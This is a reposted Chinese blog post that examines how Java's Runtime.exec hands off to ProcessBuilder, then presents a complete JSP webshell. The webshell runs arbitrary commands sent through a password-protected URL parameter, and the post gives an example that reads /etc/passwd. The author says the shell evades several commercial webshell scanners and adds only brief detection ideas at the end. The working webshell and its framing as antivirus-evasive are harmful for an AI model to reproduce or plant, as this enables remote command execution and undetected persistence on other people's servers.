zoukankan      html  css  js  c++  java
  • 浅析JAVA Runtime原理与过各大厂商免杀webshell制作

    Author:Sevck

    Date:2017年6月24日

    昨天在网络尖刀老年活动中心群里,忽然想到一个问题,就是JAVA在运行Runtime执行命令的时候会不会调用bash,因为php等语言会调用bash进行命令:

    我:JAVA在执行命令的时候会不会调用bash?
    Feng : processbuilder 我: /** * Executes the specified command and arguments in a separate process. * */ public Process exec(String cmdarray[]) throws IOException { return exec(cmdarray, null, null); } 我 : 只有 Runtime.exec("/bin/bash xxxxx")才调bash

    好奇JAVA的Runtime是如何实现的,去翻阅JAVA源码查看实现方法:

    Runtime执行实例:

    Runtime.getRuntime().exec("TODO");

    实现代码(文件代码:java/lang/Runtime.java 346 行):

    // 方法1
    public
    Process exec(String command) throws IOException { return exec(command, null, null); } // 方法2 public Process exec(String command, String[] envp) throws IOException { return exec(command, envp, null); } // 方法3 public Process exec(String command, String[] envp, File dir) throws IOException { if (command.length() == 0) throw new IllegalArgumentException("Empty command"); StringTokenizer st = new StringTokenizer(command); String[] cmdarray = new String[st.countTokens()]; for (int i = 0; st.hasMoreTokens(); i++) cmdarray[i] = st.nextToken(); return exec(cmdarray, envp, dir); } // 方法4 public Process exec(String cmdarray[]) throws IOException { return exec(cmdarray, null, null); } // 方法5 public Process exec(String[] cmdarray, String[] envp) throws IOException { return exec(cmdarray, envp, null); // 方法6 public Process exec(String[] cmdarray, String[] envp, File dir) throws IOException { return new ProcessBuilder(cmdarray) .environment(envp) .directory(dir) .start(); } }

    从上面可以看出几个重要的信息:

    1. 方法1和方法2调用的是方法3
    2. 方法3调用的是方法6
    3. 方法4和方法5调用的也是方法6
    4. 方法6创建了一个ProcessBuilder对象

    至此,是Runtime.getRuntime().exec("TODO")的实现原理,但是还是没有详细的解释清楚是如何实现的,只是说调用了ProcessBuilder类。

    ProcessBuilder是J2SE 1.5之后新增的类,此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法。在J2SE 1.5之前,都是由Process类处来实现进程的控制管理。

    Process和ProcessBuilder的关系:

    每个 ProcessBuilder 实例管理一个进程属性集。它的start() 方法利用这些属性创建一个新的 Process 实例。start() 方法可以从同一实例重复调用,以利用相同的或相关的属性创建新的子进程。

    ProcessBuilder为进程提供了更多的控制,例如,可以设置当前工作目录,还可以改变环境参数。而Process的功能相对来说简单的多。
    ProcessBuilder是一个final类,有两个带参数的构造方法,你可以通过构造方法来直接创建ProcessBuilder的对象。而Process是一个抽象类,一般都通过Runtime.exec()和ProcessBuilder.start()来间接创建其实例。

    ProcessBuilder:

      java.lang.ProcessBuilder,父类Object.

    源码ProcessBuilder类的注释:

    • This class is used to create operating system processes.
    • Each ProcessBuilder instance manages a collection of process attributes.
    • The start() method creates a new Process instance with those attributes.
    • The start() method can be invoked repeatedly from the same instance to create new subprocesses with identical or related attributes.

    真对该类有更详细的解释,详情请看:https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html

    所以,在执行Runtime的时候或者执行Process再者ProcessBuilder都是在进程中执行的,所以也不会调用bash。

    除非一些webshell在调用执行命令的时候指定了bash,例如Runtime.getRuntime().exec("/bin/bash -c id");

    利用ProcessBuilder简单写一个webshell:

    <%--
      Created by IntelliJ IDEA.
      User: sevck
      Date: 2017/6/24
      Time: 10:06
      To change this template use File | Settings | File Templates.
    --%>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="java.lang.Process" %>
    <html>
    <head>
        <title>jsp shell file</title>
    </head>
    
    <body>
    <%
        /*
        Use: http://127.0.0.1/shell.jsp?pwd=sevck&cmd=cat@/etc/passwd
         */
        // Verify OS Windows or Linux
        String os = System.getProperty("os.name");
        if(os.toLowerCase().startsWith("win")){
            out.print("windows");
        }else{
            out.print("Linux");
        }
        if(request.getParameter("cmd") != null && request.getParameter("pwd").equals("sevck") ){
            // Request Parameter cmd  contents conversion String to Strings args.
            String command = request.getParameter("cmd");
            String [] args = command.split("@");
            try {
                // Create Process In the process, the received parameter is an array.
                ProcessBuilder pb = new ProcessBuilder(args);
                // Setup Process Output Result (Normal and Error)
                pb.redirectErrorStream(true);
                // Start Process
                Process pro = pb.start();
            }catch (Exception e){
                // TODO
                String error =e.getMessage();
            }
        }else {
            out.print("业务测试");
        }
    %>
    </body>
    </html>
    这样,这个webshell就达到了任意命令执行:


    我们利用这个测试一下各大厂商查杀效果:
    360:

    腾讯:

    D盾:

    安全狗:

    微步在线:

    检测与遐想:
    Audit可以审计每个进程,那么Audit检测JAVA启动的进程是否为异常进程,例如:执行恶意二进制,查看修改文件等。
    或者从JVM进行监控。
  • 相关阅读:
    Java实现 蓝桥杯VIP 算法训练 数的统计
    Java实现 蓝桥杯VIP 算法训练 和为T
    Java实现 蓝桥杯VIP 算法训练 友好数
    Java实现 蓝桥杯VIP 算法训练 连续正整数的和
    Java实现 蓝桥杯VIP 算法训练 寂寞的数
    Java实现 蓝桥杯VIP 算法训练 学做菜
    Java实现 蓝桥杯VIP 算法训练 暗恋
    Java实现 蓝桥杯VIP 算法训练 暗恋
    测试鼠标是否在窗口内,以及测试鼠标是否在窗口停留
    RichEdit 各个版本介绍
  • 原文地址:https://www.cnblogs.com/sevck/p/7069251.html
Copyright © 2011-2022 走看看